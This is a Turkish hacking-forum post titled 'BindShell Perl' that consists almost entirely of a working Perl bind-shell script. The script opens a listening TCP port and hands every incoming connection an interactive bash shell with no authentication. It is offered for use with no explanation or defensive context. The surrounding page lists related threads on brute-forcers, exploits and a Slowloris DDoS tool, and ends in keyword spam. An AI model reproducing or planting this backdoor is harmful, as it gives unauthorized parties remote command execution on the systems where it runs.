Konuyu Oyla:
  • Derecelendirme: 0/5 - 0 oy
  • 1
  • 2
  • 3
  • 4
  • 5
BindShell Perl
#1
Kod:
#!/usr/bin/perl
$SHELL=”/bin/bash -i”;
if (@ARGV < 1) { exit(1); }
$LISTEN_PORT=$ARGV[0];
use Socket;
$protocol=getprotobyname(‘tcp’);
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die “Cant create socket\n”;
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die “Cant open port\n”;
listen(S,3) || die “Cant listen port\n”;
while(1)
{
accept(CONN,S);
if(!($pid=fork))
{
die “Cannot fork” if (!defined $pid);
open STDIN,”<&CONN”;
open STDOUT,”>&CONN”;
open STDERR,”>&CONN”;
exec $SHELL || die print CONN “Cant execute $SHELL\n”;
close CONN;
exit 0;
}
}
Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  Perl Scprit Arşivim Buyrun archavin 139 8,341 09-11-2016, Saat: 11:44
Son Yorum: RedLife
  Joomla WP BruteForce BatchGuru v1.0 Perl Stallk3r 16 534 05-09-2016, Saat: 00:44
Son Yorum: tartiks
  Web hack - Exploit Kurena (Perl) archavin 33 3,513 14-07-2016, Saat: 19:58
Son Yorum: azeredhat
  Wordpres Brute Force Perl archavin 5 916 26-01-2016, Saat: 18:56
Son Yorum: ERTUĞRUL
  Slowloris perl ddos use Windows OS Tech.L3oN 3 828 02-02-2015, Saat: 00:57
Son Yorum: Tech.L3oN
Anahtar Kelimeler

BindShell Perl indir, BindShell Perl Videosu, BindShell Perl Online izle, BindShell Perl Bedava indir, BindShell Perl Yükle, BindShell Perl Hakkında, BindShell Perl Nedir, BindShell Perl Free indir, BindShell Perl Oyunu, BindShell Perl Download


1 Ziyaretçi